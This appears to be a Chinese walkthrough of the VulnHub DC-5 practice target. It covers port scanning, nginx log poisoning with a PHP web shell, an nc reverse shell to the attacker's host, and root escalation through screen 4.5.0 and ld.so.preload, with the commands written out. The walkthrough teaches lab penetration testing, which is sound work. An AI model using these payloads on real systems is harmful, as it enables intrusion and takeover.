一、環境搭建
1、官網下載連接:https://www.vulnhub.com/entry/dc-5,314/
2、下載之后,使用Oracle VM VirtualBox導入靶場環境
3、為了正常練習,將靶場的網卡模式設置為橋接模式,啟動即可
二、靶機攻略
1、依照慣例,使用命令:nmap -sP --min-hostgroup 1024 --min-parallelism 1024 10.10.114.0/24,快速探測存活主機,找到靶場ip
2、探測靶場啟動的服務,使用命令:nmap -A- -p 10.10.114.216,發現開啟了80和111端口,111端口沒查到有可以利用的點,還是從80端口尋找突破口
3、訪問靶場80端口,在http://10.10.114.216/contact.php頁面,發現了交互地方,提交之后,每次刷新,下方時間會變化
4、 猜測,下邊月份顯示可能是調用文件之后返回數值,所以嘗試使用包含,發現成功文件包含
5、通過瀏覽器插件,知道HTTP使用的中間件有Nginx
6、查詢到nginx配置文件路徑,包含過來查看
讀取nginx配置文件信息,發現nginx日志記錄文件路徑
在日志中,發現所有的訪問記錄,都會被記錄,沒有轉碼啥的
7、既然所有都明文傳輸被解析,那就利用這個特性,傳入一句話,並讓他解析出來
打開Burpsuite,抓包修改file參數,傳入一句話file=<?php system($_GET['x']) ?>
在進行包含nginx的錯誤日志,利用一句話
8、利用一句話,反彈shell
在kali使用nv監聽端口,然后一句話傳入:nc -e 10.10.114.186 2345,成功接收到shell
使用命令:python -c "import pty;pty.spawn('/bin/bash')",接收交互式shell
9、下一步進行提權,使用命令:find / -user root -perm -4000 -print 2>/dev/null,查找是否有可利用的suid,發現screen-4.5.0
10、利用searchsploit screen 4.5.0找到了利用的文件
查看41154.sh,發現提權方法
11、根據使用說明,創建兩個文件libhax.c和rootshell.c,之后使用gcc進行編譯
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell.c
12、利用nc的管道,將編譯好的文件傳輸過去
kali攻擊機使用命令:nc -nlvp 4567 < libhax.so
靶場使用命令:nc 10.10.114.186 4567 > libhax.so,連接之后kali斷開即可
kali攻擊機使用命令:nc -nlvp 4567 < rootshell
靶場使用命令:nc 10.10.114.186 4567 > rootshell,連接之后kali再次斷開即可
13、根據提權說明,使用方法
首先輸入命令:cd /etc
然后輸入命令:umask 000
然后輸入命令:screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
然后輸入命令:screen -ls
最后輸入命令:/tmp/rootshell,成功提權
最后在root目錄下,得到flag
完